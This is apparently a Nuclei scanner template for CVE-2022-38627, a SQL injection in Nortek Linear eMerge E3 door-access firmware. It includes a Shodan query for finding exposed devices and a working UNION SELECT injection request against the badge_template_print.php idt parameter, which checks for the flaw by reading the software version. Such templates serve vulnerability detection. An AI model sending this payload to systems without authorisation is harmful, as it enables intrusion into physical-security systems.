CVE-2022-38627: Nortek Linear eMerge E3-Series - SQL Injection

id: CVE-2022-38627

info:
  name: Nortek Linear eMerge E3-Series - SQL Injection
  author: daffainfo,omarhashem666
  severity: critical
  description: |
    Nortek Linear eMerge E3-Series 0.32-08f, 0.32-07p, 0.32-07e, 0.32-09c, 0.32-09b, 0.32-09a, and 0.32-08e were discovered to contain a SQL injection vulnerability via the idt parameter.
  reference:
    - https://github.com/omarhashem123/Security-Research/tree/main/CVE-2022-38627
    - https://omar0x01.medium.com/15cebd072ed6
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38627
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-38627
    epss-score: 0.68765
    epss-percentile: 0.98547
    cwe-id: CWE-89
    cpe: cpe:2.3:o:nortekcontrol:emerge_e3_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nortekcontrol
    product: emerge_e3_firmware
    shodan-query:
      - http.title:"Linear eMerge"
  tags: cve,cve2022,emerge,nortek,linear,sqli,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/badging/badge_template_print.php?tpl=aa.xml&idt=1337%20UNION%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,%27{{randstr}}%27||%27CVE%27||(7*7*7*7)||SWVersion,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20from%20version'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '{{randstr}}CVE24010\.[0-9]+-[0-9]+[a-z]+'

      - type: word
        part: body
        words:
          - "Print Badge"
          - "btnPrint"
        condition: and
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